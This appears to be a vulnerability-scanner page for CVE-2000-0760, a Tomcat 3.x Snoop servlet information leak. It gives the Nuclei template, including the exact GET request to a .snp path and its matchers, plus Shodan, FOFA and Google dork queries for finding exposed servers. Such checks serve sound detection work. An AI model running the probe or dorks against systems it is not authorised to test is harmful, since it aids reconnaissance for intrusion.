Jakarta Tomcat 3.1 and 3.0 - Information Disclosure

mediumseverity

6.4CVSS score

62.5%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Jakarta Tomcat 3.1 and 3.0 under Apache contain a vulnerability in the Snoop servlet that reveals sensitive system information when a remote attacker requests a nonexistent URL with a .snp extension, exploit requires remote access.

Impact

Attackers can retrieve sensitive system information, potentially aiding further attacks or information disclosure.

Fix

Update to the latest version of Jakarta Tomcat or apply security patches that fix the Snoop servlet issue.

How to confirm it

Send: GET {{BaseURL}}/examples/jsp/snp/anything.snp
Positive when: contains "Request Information" and "Path info" and "Server name" and "Remote address" AND status 200

Run it with nuclei: nuclei -id CVE-2000-0760 -u <target>

The full check

id: CVE-2000-0760

info:
  name: Jakarta Tomcat 3.1 and 3.0 - Information Disclosure
  author: Thabisocn,0x_Akoko
  severity: medium
  description: |
    Jakarta Tomcat 3.1 and 3.0 under Apache contain a vulnerability in the Snoop servlet that reveals sensitive system information when a remote attacker requests a nonexistent URL with a .snp extension, exploit requires remote access.
  impact: |
    Attackers can retrieve sensitive system information, potentially aiding further attacks or information disclosure.
  remediation: |
    Update to the latest version of Jakarta Tomcat or apply security patches that fix the Snoop servlet issue.
  reference:
    - https://www.exploit-db.com/exploits/20132
    - https://nvd.nist.gov/vuln/detail/CVE-2000-0760
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:N
    cvss-score: 6.4
    cve-id: CVE-2000-0760
    epss-score: 0.62496
    epss-percentile: 0.99196
    cpe: cpe:2.3:a:apache:tomcat:3.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: apache
    product: tomcat
    shodan-query:
      - cpe:"cpe:2.3:a:apache:tomcat"
      - http.component:"apache tomcat"
      - product:"tomcat"
    fofa-query:
      - body="apache tomcat"
      - body="jk status manager"
    google-query:
      - site:*/examples/jsp/snp/snoop.jsp
      - intitle:"apache tomcat"
  tags: cve,cve2000,jakarta,tomcat,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/examples/jsp/snp/anything.snp"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Request Information"
          - "Path info"
          - "Server name"
          - "Remote address"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from